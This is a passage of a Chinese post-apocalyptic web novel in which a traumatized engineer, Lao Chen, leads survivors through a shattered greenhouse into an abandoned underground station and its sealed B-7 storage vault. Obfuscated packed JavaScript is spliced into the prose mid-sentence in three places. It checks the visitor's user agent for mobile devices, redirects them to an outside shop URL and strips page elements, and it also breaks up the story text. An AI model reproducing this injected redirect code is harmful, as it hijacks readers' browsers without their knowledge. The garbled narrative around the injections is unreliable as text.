**有人说他是操作失误,有人说可能是旧管道压力失衡爆裂。但老陈心里知道,大刘的脚伤可能影响了他的平衡和反应速度。如果…如果是他自己去…也许…* **大刘的死像最后一根稻草,压垮了本就脆弱的临时社群。指责、谩骂、崩溃的哭嚎。有人开始抢夺剩余的物资。老陈在混乱中拼死护住妻子女儿,抢到了一点食物和药品,趁着黑暗和混乱,从另一个极少人知道的紧急出口逃离了那个地下维护站。* **他们跌跌撞撞地爬回地面,面对的却是比地狱更残酷的、彻底崩坏的世界。妻子在逃亡途中感染了不知名的病毒,高烧不退,他们抢出来的那点药根本没用。她死在一个寒冷的雨夜,紧紧抓着他的手,眼睛望着蜷缩在旁边发抖的小芸,满是担忧和不舍。* **只剩下他和女儿了。他带着小芸在废墟里像老鼠一样东躲西藏,用尽一切办法活下去。他不敢再去想那个地下维护站,不敢想大刘,不敢想那些最后时刻疯狂的脸。他把那些知识、那些记忆,连同自己的名字和过去,一起深深地埋葬起来。他变得胆小,怯懦,对任何可能引发回忆和危险的事物都充满恐惧。直到遇到雷烬他们,他才勉强重新融入一个小群体,但那份深重的负罪感和恐惧从未离开。他总觉得,大刘的冤魂,还有那些因他分配不公(他自认为)而可能死去的人,都在阴影里看着他。而那个地下维护站…那里可能还有未被完全破坏的储备,但也一定充满了死亡的记忆和未知的危险。他宁愿饿死,也不敢再去触碰。* **(回忆结束)** “不…不行…那里不能去…”老陈终于发出了声音,带着哭腔,浑身剧烈颤抖,“会死的…都会死的…有东西…那里有…”他语无伦次,恐惧几乎化为实质。 “有什么?”雷烬追问,声音严厉起来,“老陈,说出来!你知道什么?” 老陈猛地抱住头,缩成一团,像是要抵御无形的攻击。“我不知道…我什么都不知道…别问我…求求你们…”他像个受惊过度的孩子。 林岚叹了口气,伸手想安抚他,却被老陈惊恐地躲开。 顾风看着老陈崩溃的样子,心中不忍,但同时也感到一阵寒意。老陈的恐惧如此真实,如此深刻,那个地方恐怕绝不简单。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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图纸下方还有一些更潦草的笔记,似乎是后来加上去的,提到了“独立供电可能残存”、“B-7号储备库(密封)”、“注意通风管道状态”以及几个大大的、颤抖的“危险!”字样。 所有人都围了过来,除了依旧崩溃麻木的老陈和茫然的小豆。 林岚仔细辨认着图纸上的标记:“这结构…像是旧时代的大型地下设施。这个代码…有点像‘绿洲’项目内部的编号方式。如果这里真的还有密封储备库…”她的眼中燃起一丝微弱的希望。 “位置?”雷烬问向老陈,虽然图纸上可能也有大致方位,但他需要一个更明确的指引。 老陈瘫在地上,嘴唇翕动,用几乎听不见的声音报出了一个大概的方位和距离,以及入口伪装成废弃通风井的识别特征。“…大概…离这里…西北方向,五六公里…在一片…倒塌的温室框架下面…入口的栅栏…左下角有个不起眼的…三角形磨损标记…”每说一个字,他都像被抽走一份元气。 五六公里,在平时不算远,但对于现在这支伤兵满营、补给殆尽的队伍,无异于一场远征。更别提老陈话语和笔记中透露出的“危险”。 雷烬仔细看着图纸,又看了看状态糟糕的同伴们,沉默了很久。火把的光在他脸上投下深深浅浅的阴影。 “我们需要那些药品,需要食物。”他终于开口,声音不大,却字字清晰,“老陈,你带路。” 老陈发出一声绝望的呜咽,却不敢反驳。 “休息最后一晚。”雷烬继续部署,“林岚,用我们所有剩下的资源,准备路上可能用到的急救物品和伪装。阿木,检查所有武器,制作一些我们能携带的简单陷阱或障碍物。顾风,”他看向顾风,“你和老陈一起,尽可能从他嘴里再挖出关于那个地方内部结构、可能危险的所有细节,任何一点信息都可能救命。” 他顿了顿,目光扫过每一个人:“这次不同以往。我们状态很差,目标明确但危险未知。记住,如果事不可为,保命是第一位的。但在此之前,我们必须去试一试。为了小豆,也为了我们自己。” 没有人反对。绝境之中,哪怕是最微弱的希望,也值得用命去搏。尽管这希望,是由一个被恐惧压垮的人,用他最深的亏欠和梦魇换来的。 顾风看着手中被雷烬递过来、要求他仔细研究记忆的破损图纸,又看了看角落里仿佛瞬间苍老了二十岁、眼神失去所有光彩的老陈,心中沉甸甸的。 脚下的影子,在火把光芒中,随着他心情的沉重,似乎也拉长、变得更加浓稠了。 12. 温室下的逆袭 出发前的准备压抑而匆忙。林岚将最后一点凝神苔研磨成粉,混合着仅剩的草药末,制成几小包气味刺鼻的药粉,分给每人。“驱虫,也许对某些低级的秽气有点用。”她说得不确定,但没人挑剔。阿木沉默地加固了武器,用能找到的最坚韧的变异藤蔓和金属丝缠绕矛柄和刀柄,又用废弃铁片和弹簧制作了几个简陋但致命的捕兽夹式陷阱,用破布包好背在身后。顾风则反复记忆那张破损图纸上的每一个细节,尽管很多地方模糊不清,但他强迫自己将那些弯弯曲曲的通道和标注刻进脑海。 老陈仿佛一夜间被抽干了灵魂。他木然地接受林岚给他的那份药粉,对阿木递过来的、用钢管和磨尖钢筋做成的简陋长矛(替换他原来那根更差的),也只是机械地接过,眼神空洞地望着地面。只有当雷烬再次确认路线和入口特征时,他才会用干涩的、毫无起伏的声音重复那几个关键词,然后继续沉默。 小豆的情况是个大问题。他无法自主行走,意识时好时坏。最终决定由阿木主要背负,用找到的帆布和绳索做了个简单的背架。林岚和顾风轮流在旁协助。雷烬虽然虚弱,但坚持自己行走,只让林岚用一根相对顺直的钢筋给他当临时拐杖。 踏出五金店据点时,铅灰色的天光让人分不清是清晨还是黄昏。废土的风带着永不止息的灰尘和衰败气息。一行人,伤的伤,病的病,背负着沉重的希望和更沉重的过去,向着西北方向,那片记忆中由破碎玻璃和扭曲金属构成的巨大阴影走去。 最初的几百米还算顺利,只是废墟地形复杂,需要不断绕行。阿木背负着小豆,依然步伐稳健,但呼吸明显粗重了许多。雷烬每走一段就需要停下喘息,靠着断墙休息片刻,脸色白得吓人。林岚和顾风警惕着四周,手里紧握着武器。 老陈走在队伍中间稍前的位置,被要求带路。他的脚步虚浮,眼神却像受惊的兔子,不断扫视着周围每一个阴影,每一处残垣。每看到一个似曾相识的地标——比如一根倒下的、有着独特波浪形装饰的混凝土柱,或者半埋在瓦砾中、印着褪色花卉图案的瓷砖碎片——他的身体都会不由自主地僵硬一下,仿佛看到了鬼魂。 **(老陈的回忆触发点:前往旧工作区域途中的熟悉地标)** **那些破碎的、带有艺术感的装饰,那些特定品种的瓷砖…都是“绿洲”生态穹顶项目外围景观区的标志。他曾无数次走过这些地方,那时玻璃穹顶还在,模拟阳光柔和明亮,空气里是精心调配的植物芬芳,耳边是舒缓的环境音乐和同事们的谈笑声。女儿小芸最喜欢那个中央花园,里面有一种通过基因技术复原的、会发出淡淡蓝光的夜间花卉,她称之为“星星草”。* **他记得自己下班后,偶尔会特意绕路穿过景观区,只为多看一眼那些在精心维护下生机勃勃的植物,感受那份旧世界几乎绝迹的宁静与美好。那是他作为工程师的骄傲,也是他对未来残存的、脆弱的希望。* **而现在,同样的装饰破碎污浊,瓷砖被尘土掩埋,植物早已枯死腐烂或被更顽强的变异种取代。宁静被死寂取代,美好化为丑陋的废墟。每一个熟悉的碎片,都在无声地嘲笑他过去的努力和信仰,也在尖锐地提醒他,那场导致一切毁灭的“大崩溃”,以及随后在那个地下维护站里发生的、更具体的人性崩塌。* “还有…多远?”雷烬又一次停下,靠在半截烧焦的树干上,汗水浸湿了他额前的乱发,顺着苍白的脸颊流下。 老陈恍惚地看了看四周,指着前方一片更加密集的、高耸的扭曲黑影:“穿过那片…以前是外围缓冲林…后面就是…温室区的框架了…应该…” 缓冲林早已不复存在,只剩下焦黑的、东倒西歪的金属树干和少量狰狞的、长满尖刺的变异灌木。穿行其中,需要格外小心,那些尖刺显然有毒,且极其坚硬。 顾风走在老陈侧后方,试图分散他一些注意力,也为了获取更多信息。“陈叔,”他尽量让声音平和,“那个维护站…除了入口隐蔽,里面…大概有多大?图纸上有些地方看不清。” 老陈的身体又抖了一下,没有立刻回答。他们艰难地绕过一丛特别茂密、散发着古怪甜腥气的刺藤。过了好一会儿,就在顾风以为他不会回答时,老陈用梦呓般的声音开口了,眼睛依然直勾勾地看着前方虚无的一点。 “…很大…分好几层…我们当时…只激活了最上面的一小部分…生活区、备用控制室…还有…B-7储备库旁边的一小段走廊…”他的声音断断续续,“下面…还有深层维护通道…连接着主循环系统…和…和一些我没权限进去的地方…图纸上…只标了大概…” “危险…是指什么?”顾风追问,“除了可能的结构损坏…还有别的吗?你笔记里写的。” 老陈猛地闭上了嘴,脸色更加灰败,呼吸急促起来,连连摇头,不肯再说。 顾风不再逼问,心中却更加警惕。老陈的恐惧绝非空穴来风。 穿过死寂的缓冲林遗迹,眼前的景象豁然一变,却又更加令人心悸。 那是一片无比广阔的、由破碎的玻璃和严重扭曲变形的合金骨架构成的“森林”。曾经高达数十米、覆盖数平方公里的生态温室穹顶,如同一个被巨人生生捏碎的玻璃模型,以各种匪夷所思的角度坍塌、倾覆、互相堆叠。阳光(如果那铅灰色的光也能算阳光)透过无数裂隙和破洞,在无数玻璃碎片的反射折射下,形成一片片光怪陆离、不断晃动的光斑,照亮了下方堆积如山的破碎花盆、干枯的植物残骸、锈蚀的灌溉管道和不明用途的金属设备。 宏伟与破败,科技与荒芜,在此刻形成了极其强烈的、令人窒息的对比。空气中弥漫着陈腐的泥土味、淡淡的铁锈味,还有一种…难以形容的、类似某种东西缓慢腐烂又混合了微弱臭氧的气息。 “就是…这里了。”老陈的声音轻得像要飘散,他抬起颤抖的手,指向温室废墟深处某个方向,“入口…应该在那片…倾斜得最厉害的穹顶骨架下面…靠近一个…半埋的、圆形的水循环过滤塔残骸…” 目标就在眼前,但前进的难度陡然增加。他们需要在堆积如山的、滑溜不稳的玻璃碎片和扭曲金属之间攀爬、钻行,每一步都伴随着玻璃碎裂的脆响和金属不堪重负的呻吟。光线被反复折射切割,视野混乱,方向感极易迷失。更麻烦的是,许多玻璃边缘锋利如刀,轻轻一碰就能割开皮肉。 阿木背负着小豆,行动受到极大限制,只能选择相对平缓的路径,速度更慢。雷烬拄着钢筋拐杖,在玻璃渣和扭曲物上走得踉踉跄跄,有几次险些滑倒,都被旁边的林岚或顾风死死拉住。 顾风自己也被锋利的玻璃边缘划伤了好几处,火辣辣地疼。他努力辨认着老陈描述的地标,同时警惕着这片巨大废墟中可能潜藏的任何东西——无论是变异生物,还是其他不怀好意的幸存者。这片区域的寂静,比外面的废墟更甚,仿佛连风都被这些破碎的玻璃迷宫吞噬了。 随着深入,光线愈发昏暗混乱。破碎的玻璃如同无数面扭曲的镜子,映照出他们自己狼狈、变形、支离破碎的身影,仿佛有无数个诡异的影子在四周晃动、窥视。顾风不止一次被自己或同伴在玻璃碎片中的倒影吓一跳。 老陈的状态越来越糟。他几乎是靠着一种本能在机械地移动,眼睛死死盯着地面,不敢看周围那些光怪陆离的倒影和宏伟的破败景象。每当脚踩碎玻璃发出刺耳声响,或是头顶有细碎的玻璃碴因震动落下,他都会浑身剧震,仿佛那声音是某种索命的咒语。 **(老陈的回忆触发点:玻璃破碎的持续声响与昏暗混乱的光线环境)** **这声音…这光…把他拖回了维护站出事前最后的混乱时刻。* **不是地下,是在这里,在温室。大崩溃的冲击波袭来时,他正在温室的边缘维护区检查一套新安装的湿度传感器。他听到了那仿佛世界撕裂的巨响,看到远处穹顶的玻璃像被无形巨锤击中,瞬间布满蛛网般的裂痕,然后在一片令人牙酸的呻吟声中,大片大片地崩塌、坠落!* **破碎的玻璃如同死亡的暴雨倾盆而下,在依然运作的、用于模拟昼夜变化的复杂照明系统制造的混乱光线下,反射出千万道疯狂的、刺目的光芒。人们尖叫着奔逃,被玻璃砸中,被锋利的边缘切割,鲜血在破碎的晶莹中泼洒出残酷的图案。他连滚爬爬地躲进一个坚固的设备间,听着外面连绵不绝的玻璃破碎声、金属扭曲声和人类的惨嚎,吓得魂飞魄散。* **等他战战兢兢地出来,看到的已是地狱般的景象。他疯了一样跑向家人所在的居住区,一路上踩着厚厚的玻璃碴,滑倒,爬起,手上腿上被割得鲜血淋漓,却感觉不到疼。心中只有一个念头:小芸!妻子!* **那种在破碎玻璃和混乱光线中亡命奔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081230|195322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逃、心中充满无尽恐惧和绝望的感觉,此刻被周围的环境完美地复现了。每一脚踩下的碎裂声,都像是踩在他记忆的神经上。* “就在…前面…”老陈的声音已经嘶哑得几乎听不见。他们来到一处特别巨大的、呈四十五度角倾斜插入地面的弧形穹顶骨架下方。骨架下方形成了一个三角形的黑暗空间,里面堆积的杂物相对较少。旁边,确实有一个半埋的、锈蚀成红褐色的圆柱形金属结构,依稀能看出过滤装置的模样。 阿木小心地将小豆放下,交给林岚暂时照看,然后和顾风一起,按照老陈之前指出的特征,在倾斜骨架与地面交接的阴影里仔细搜寻。 “左下角…三角形磨损…”顾风喃喃着,用短刀小心地拨开厚厚的灰尘、腐烂的植物纤维和一些小动物的骨骸。 “这里。”阿木低沉的声音响起。他蹲在靠里的位置,用砍刀刮开一片特别厚重的苔藓和锈垢,露出了下面一块看似普通、但与周围略有不同的金属栅栏。栅栏左下角,果然有一个不太起眼的、边缘光滑的三角形凹痕,像是长期被什么硬物摩擦形成的。 找到了! 但没人感到兴奋。栅栏看上去沉重无比,锈蚀严重,与周围的结构几乎焊死。更重要的是,栅栏后面是深不见底的黑暗,一股阴冷的、带着陈年尘土和淡淡铁锈味的气流,正从缝隙中幽幽渗出。 老陈远远地看着那个栅栏入口,身体抖得像风中的落叶,脸色惨白如鬼,嘴唇翕动着,却发不出任何声音。他的眼神充满了极致的恐惧,仿佛那栅栏后面不是可能存有救命的物资,而是直通地狱的入口。 雷烬喘着粗气走过来,看了看栅栏,又看了看状态极差的老陈和虚弱的同伴们,眼中闪过一丝犹豫,但很快被坚定取代。 “阿木,顾风,想办法打开它。动作轻点。”雷烬下令,自己则拄着拐杖,警惕地环视着这片玻璃迷宫。林岚将小豆安置在相对安全的角落,也握紧匕首过来帮忙。 阿木尝试用力拉扯栅栏,纹丝不动。他又用砍刀撬动边缘,只刮下一些锈渣。顾风检查栅栏与周围结构的连接处,发现是某种高强度合金焊接,锈蚀虽严重,但想靠蛮力或简陋工具打开,非常困难,而且必然发出巨大声响。 “可能需要切割,或者找到机械开关。”顾风低声道。 老陈这时却像想起了什么,梦游般挪了过来,眼睛盯着栅栏上方大约一米五处的骨架结构。那里有一块不起眼的、颜色略深的金属板,形状不规则,边缘有细微缝隙。 “那里…应急手动释放…用…用特定的六角扳手…或者…大力撞击某个点…”老陈的声音飘忽。 特定的扳手肯定没有。阿木看了看那块金属板,又看了看自己的砍刀刀柄末端(那里有个较厚的配重球)。他示意顾风和雷烬退开一点,然后举起砍刀,用刀柄末端的配重球,对准金属板边缘一个略微凹陷的位置,深吸一口气,猛地用短促的爆发力撞去! “咚!” 一声沉闷但不算太响的撞击声。金属板似乎向内凹陷了一点。 阿木又连续撞了三下。 “咔…咔嚓…” 一阵机括松动的、令人牙酸的声音从内部传来。紧接着,那块沉重的金属栅栏,猛地向下沉了一小截,然后伴随着更多锈蚀摩擦的刺耳噪音,缓缓地向内滑开了一道大约半米宽的缝隙!更多的阴冷气流涌出,带着更明显的尘土和一种…难以言喻的、仿佛什么东西长期密闭后产生的陈旧气息。 入口,开了。 里面是一片浓得化不开的黑暗,火把的光照进去,只能照亮门口一小片布满灰尘和零星垃圾的地面,以及两侧冰冷的、刷着暗绿色旧漆的金属墙壁。一条向下的、同样锈蚀严重的金属楼梯,延伸向黑暗深处。 老陈在栅栏滑开的瞬间,像是被抽掉了所有骨头,瘫软在地,捂住耳朵,浑身痉挛般颤抖,喉咙里发出压抑的、绝望的呜咽。他仿佛又听到了那沉闷的水流巨响,看到了那张憨厚却永远消失的脸。 而顾风,在入口打开的刹那,除了感受到阴冷的气流,还清晰无比地感觉到——自己脚下的影子,似乎**兴奋**地**蠕动**了一下,颜色骤然加深,仿佛对门内的黑暗产生了某种强烈的、饥饿般的**渴望**。 黑暗的阶梯向下,如同怪兽的食道,等待着吞噬这群伤痕累累的访客。 13. 生活区的幽灵 入口的黑暗如同粘稠的墨汁,瞬间吞没了火把的光亮,只在他们脚下投出一小团摇曳不安的光晕。阴冷、潮湿、带着陈年灰尘和金属锈蚀的气流持续涌出,吹得人皮肤起栗。楼梯向下延伸,没入绝对的黑暗,仿佛没有尽头。 阿木率先踏入,沉重的靴子踩在锈蚀的金属阶梯上,发出“嘎吱”一声令人牙酸的呻吟,在狭窄的通道里激起短暂的回音。他稳住身形,将火把放低,照亮前方几级台阶和一侧冰冷的墙壁。墙壁上刷的暗绿色油漆大片剥落,露出下面灰黑色的金属基材,上面有一些模糊的标识和早已失效的管线。 顾风紧随其后,他能清晰地感觉到,当自己完全置身于这片人工的、绝对的黑暗时,脚下影子的那种“兴奋”和“渴望”不仅没有减弱,反而更加明显了。它不再仅仅是颜色加深,而是仿佛拥有了某种轻微的“吸力”,正贪婪地“吮吸”着周围环境中浓郁的黑暗,自身的存在感在顾风的感知中不断放大、凝实。他必须集中全部意志,才能忽略那种仿佛有另一个冰冷意识在脚边蠢蠢欲动的错觉。 林岚搀扶着几乎虚脱的老陈跟在后面,雷烬拄着拐杖断后。小豆依旧由阿木暂时背负。每个人都屏住呼吸,除了脚步声和粗重的喘息,只有火把燃烧的噼啪声和远处不知何处传来的、极其微弱但持续不断的“嗡……”声,像是某种古老的通风或电力系统残留的余韵。 楼梯不长,大约三十级后,他们抵达了一个相对开阔的平台。前方出现了一扇厚重的、带有圆形观察窗的密封门,门上的漆皮剥落严重,但机械结构看起来相对完整。观察窗的玻璃内侧布满灰尘和水汽凝结的污迹,看不清里面。 门边有一个简单的机械锁盘,以及一个需要刷卡或输入密码的电子面板。面板早已黯淡无光,屏幕上积着厚灰。 “备用维护站…第一道隔离门…”老陈的声音在寂静中颤抖着响起,他不敢看那扇门,低着头,“机械锁盘…向左转到底,回三格,再向右转两圈半…这是…紧急手动开启程序…密码…我不知道…电子系统肯定失效了…” 阿木依言上前,用力转动那锈蚀的锁盘。巨大的阻力让他手臂肌肉贲起,发出低沉的闷哼。锁盘内部传来艰涩的齿轮咬合声,仿佛几十年未曾移动过。终于,“咔哒”一声脆响,锁盘到位。他试着推了推密封门。 沉重的门轴发出令人头皮发麻的摩擦尖啸,在绝对的寂静中远远传开,让人心脏骤紧。门缓缓向内打开了一道缝,更多的、混合着灰尘和一丝淡淡…难以形容的…类似陈旧消毒水混合着某种甜腻物质腐败后的气息涌了出来。 林岚的鼻子微微抽动,脸色瞬间变得极其凝重,甚至带上了一丝惊疑。她压低声音,几乎是从牙缝里挤出几个字:“这味道…不对…有点像…‘摇篮’里…某些区域…” 这句话让所有人的心都沉了下去。雷烬的眼神锐利如刀,阿木握紧了砍刀,顾风感到自己影子的“兴奋”似乎也带上了一丝警惕般的波动。 门被完全推开。火把的光照进去,照亮了一个不大的方形过渡间。地上散落着一些空罐头盒、揉皱的包装纸和几个破损的防毒面具。墙壁上有几处早已干涸发黑的喷溅状污迹。对面还有一扇类似的密封门,但虚掩着。 他们快速穿过过渡间,推开第二扇门。 眼前豁然开朗,却又瞬间被更加浓重的死寂和诡异感笼罩。 这里似乎是一个生活区的枢纽。一条较为宽阔的主走廊向前延伸,两侧有多个房间的门。头顶的天花板上,每隔一段距离就有一盏嵌着的应急灯,但绝大多数都已损坏,只有极少数还顽强地闪烁着极其微弱的、时明时灭的惨白光芒,勉强勾勒出环境的轮廓。空气更加凝滞,那股甜腻腐败的消毒水气味在这里更加明显,还混合着灰尘、霉菌,以及一种…**凝固的恐惧**。 最引人注目的是地面和墙壁。厚厚的灰尘覆盖了一切,但灰尘上留有杂乱的脚印、拖痕,还有…一些已经变成深褐色的、干涸的液体流淌的痕迹,从某些房间门口延伸出来,没入走廊黑暗的尽头。墙壁上除了剥落的油漆,还有不少抓痕和撞击的凹痕,有些抓痕很深,边缘带着暗红色的污渍。 这里显然不是和平废弃的。这里发生过争斗,或许还有更糟的事情。 “生活区…”老陈的声音像破风箱一样嘶哑,“左边…是宿舍和公共活动室…右边…是小型医疗点和物资分配点…B-7储备库…还要再往深处走…” “先检查医疗点和可能遗留的物资。”雷烬果断下令,他靠在一个相对干净的门框上喘息,目光锐利地扫视着四周,“阿木,顾风,你们去右边。林岚,你和我,还有老陈,检查左边最近的房间,看有没有能用的东西或者…线索。动作快,保持警惕。” 顾风和阿木点点头,握紧武器,小心翼翼地向右侧走廊移动。脚下的灰尘很厚,踩上去发出“噗噗”的轻响,每一步都扬起细小的尘埃,在偶尔闪烁的应急灯光柱下飞舞。 右侧第一个门上的标识牌已经脱落一半,勉强能看出“医护”字样。门半开着。阿木用砍刀刀尖缓缓顶开门。 里面是一个不大的房间,靠墙有几个锈蚀的铁柜,一张金属检查台,旁边散落着一些破碎的玻璃器皿和倾倒的器械推车。药柜的门敞开着,里面空空如也,只有几个倒下的空药瓶。地上有更多干涸的污迹和玻璃碎片。 没有药品。意料之中,但仍让人失望。 他们退出来,继续向前。下一个房间门关着,标识是“储藏”。阿木尝试拧动门把手,锁死了。他示意顾风后退,然后用肩膀猛地一撞! “砰!” 门被撞开,灰尘簌簌落下。里面空间稍大,堆放着一些破损的桌椅、工具箱和几个空的、锈穿的金属桶。角落里有一些散落的、早已朽烂的纸质文件和几个压扁的硬纸箱。同样,没有食物,没有密封的物资。 就在他们准备离开去下一个房间时,顾风眼角的余光瞥见,在撞开的门板背后,似乎用某种深色的东西画着一个歪歪扭扭的符号。他心中一动,举着火把凑近。 那符号很简单,像是一个圆圈,里面套着一个不规则的倒三角形,三角形底部延伸出几条颤抖的短线。符号画得很匆忙,用的似乎是…干涸的血迹?颜色已经暗沉发黑。 “这是什么?”顾风低声问阿木。 阿木凑近看了看,眉头紧锁,摇了摇头。他显然不认识。 顾风将这个符号记在心里。这可能是无意义的涂鸦,也可能是一种警告,或者…标记。 他们检查了右侧走廊剩下的两个房间,一个是空置的,另一个似乎是简单的洗消间,同样一无所获。除了灰尘、锈迹和零星的破坏痕迹,什么都没有。整个区域仿佛被某种东西彻底“清扫”过,有用的物资荡然无存,只留下绝望和暴力的印记。 回到主走廊枢纽时,雷烬和林岚他们也从左侧回来了,脸色同样难看。他们搜索了两个宿舍和一个活动室,只找到一些腐烂的寝具、破损的个人物品,以及墙壁上更多令人不安的抓痕和用炭灰或血迹涂抹的、意义不明的潦草字句,如“它听得见”、“不要相信影子”、“门不是门”等。老陈在其中一个宿舍看到一张残留的、模糊的家庭合影碎片时,几乎再次崩溃,被林岚强行稳住。 “看来,生活区被搜刮得很干净。”雷烬的声音带着深深的疲惫和一丝不易察觉的焦躁,“去B-7储备库。那是密封的,也许还有希望。”他的目光扫过众人,在顾风脸上稍微停留了一瞬,似乎察觉到他若有所思。“有什么发现?” 顾风说了那个门后的血迹符号,并简单描述了一下。 林岚和雷烬对视一眼,都摇了摇头,表示没见过。老陈则恐惧地缩了缩脖子,嘟囔着:“疯子…那时候…好多人都疯了…” 没有时间深究。队伍再次集结,由老陈指路,向着生活区主走廊的深处前进。越往里走,应急灯损坏得越彻底,黑暗越发浓重,火把的光成了唯一的光源,将他们的影子投射在两侧布满痕迹的墙壁上,拉长、扭曲、晃动,仿佛有无数默剧演员在陪他们同行。那股甜腻腐败的气味似乎也浓郁了一丝。 顾风集中精神,运用着那种特殊的感知。他注意到,墙壁上的一些抓痕,其分布和深浅,似乎并非完全混乱。有些集中在门框附近,有些则蔓延向天花板角落。更让他心头微凛的是,在某些完全没有光线、火把掠过才能瞬间照亮的地方,他似乎“感觉”到墙壁或地面上,残留着极其微弱的、冰冷的“痕迹”,并非物理痕迹,而是一种…情绪的沉淀,或能量的残留?混乱、恐惧、痛苦…还有一丝极其隐晦的…**饥渴**。 他的影子对这些“痕迹”似乎反应更大,颜色越来越深,边缘甚至开始出现极其细微的、如同水波荡漾般的模糊感。顾风不得不花费更多心力去压制那种它随时会脱离掌控的感觉。 **(体现顾风智慧的时刻:观察、分析、整合线索)** ***线索整合**:顾风一边走,一边在脑中快速梳理进入维护站后的所见所感。 * 1.**环境**:生活区有明显的暴力冲突和绝望痕迹,物资被彻底清空。但破坏似乎有一定规律(抓痕分布、特定符号)。 * 2.**气味**:林岚指出类似“摇篮”的气味,老陈说当时“好多人都疯了”。 * 3.**“痕迹”**:自己感知到的情绪残留和能量沉淀,以及影子对此的异常反应。 * 4.**老陈的恐惧**:不止是对大刘之死的愧疚,似乎还隐含着对某种更诡异、更无法理解之事的恐惧(“它听得见”、“不要相信影子”)。 ***初步推理**:这里发生的不只是简单的资源争夺和崩溃后的疯狂。可能涉及到某种来自“摇篮”或类似存在的…**污染**或**影响**。这种影响放大了恐惧、猜忌,可能还引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081231|195322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发了幻觉或更糟的变化。物资的彻底消失,也许并非全部被人拿走,也可能被“消耗”或“转化”了。 ***行动预判**:B-7储备库是密封的,可能幸免。但如果那种“影响”仍然存在,或者留有残余,打开储备库可能带来新的危险。必须做好应对精神干扰或物理层面异常的准备。同时,要更加警惕环境中的细节,任何异常都可能是关键信息。 走廊尽头,是一扇比入口处更加厚重、看起来科技含量也更高的密封门。门上没有观察窗,只有一个复杂的机械锁具、一个早已黯淡的电子密码屏,以及一个醒目的红色警告标识:“B-7储备库-授权人员仅限-生物危害品密封协议启用”。 到了。 老陈指着门边一个不起眼的、带有防护盖的金属小匣子:“应急机械锁…和外面一样,需要密码…或者…特定频率的震动敲击序列来触发备用开启程序…我只知道…密码是六位数…项目内部通用备份密码之一…但我…我记不清了!那么多密码…我…”他又开始陷入慌乱。 六位数密码。没有试错的机会。 所有人的目光都集中在门上,又看向老陈,最后落在雷烬身上。 雷烬盯着那扇门,眼神闪烁。强行破门几乎不可能。密码…老陈记不清。 顾风这时忽然上前一步,他举着火把,仔细地观察着门锁周围的区域,尤其是那个金属小匣子附近。厚厚的灰尘上,没有任何近期触碰的痕迹。但是,在门框下方,靠近地面的位置,灰尘似乎有被极其轻微地拂动过的迹象,形成一个很不明显的、小小的弧形空缺。 他蹲下身,用手指轻轻抹过那片空缺。指尖传来一点极其微小的、坚硬的触感。他小心地拨开浮灰,看到那里镶嵌着一块很小的、方形的金属铭牌,上面刻着一串数字和字母混合的编码,大部分是设备编号。但在编码的末尾,有一个用括号括起来的、单独的数字: 【…-7793(0412)】 0412。一个四位数。 顾风脑中灵光一闪。他想起老陈提到这是“项目内部通用备份密码之一”,又想起在生活区墙壁上看到的那些潦草字句中,似乎有一句被反复涂抹又重写,隐约是“记住初始之日”之类的胡话。初始之日?“绿洲”项目的启动日?或者,是这个维护站启用的日期? “陈叔,”顾风站起身,尽量让声音平静,“这个维护站,或者‘绿洲’项目第三区,有没有一个标志性的启用日期?比如,四月十二日?” 老陈茫然地抬起头,想了很久,才不确定地说:“第三区…全面启用验收…好像是…四月…具体哪天…我…” “是不是0412?”顾风追问。 老陈浑身一震,眼睛猛地瞪大,死死看着顾风,又看看那扇门,嘴唇哆嗦着:“你…你怎么…可能…那个备份密码…据说…是和启用日期有关…但…但我真的记不清是不是这个…” “试试。”雷烬果断道。死马当活马医。 顾风走到密码屏前,尽管屏幕漆黑,但他还是按照老陈之前隐约提到的操作方式,先尝试触动了一下旁边的机械复位钮(一个很小的突起),然后,在可能的内置应急电源微弱响应下(屏幕毫无反应),他凭感觉,在应该是数字键的位置,依次按下了 0、4、1、2。 按完后,一片寂静。什么都没有发生。 就在众人失望之际—— “嘀…” 一声极其轻微、仿佛从地底深处传来的电子提示音! 紧接着,那扇厚重的密封门内部,传来一连串沉闷的“咔嚓、咔嚓…”的机括解锁声!声音在寂静的走廊里回荡,令人心悸。 门,缓缓地、自动地向内滑开了! 一股更加冰冷、干燥、带着浓重金属和特种塑料气味的空气涌了出来,其中还混杂着一丝…淡淡的、类似化学防腐剂的味道。 火把的光照进去,首先映入眼帘的,是门后一个狭窄的缓冲间。缓冲间对面,还有一道透明的、看起来非常坚固的聚合物观察窗,窗后才是真正的储备库。观察窗上凝结着一些白霜。 他们成功了!至少,打开了第一道门! 然而,还没等他们感到欣喜,顾风猛地转头,看向身后黑暗的走廊深处。 他刚才似乎…听到了点什么?不是机括声的回音,而是另一种极其细微的、仿佛什么东西轻轻刮擦地面的声音…一闪而逝。 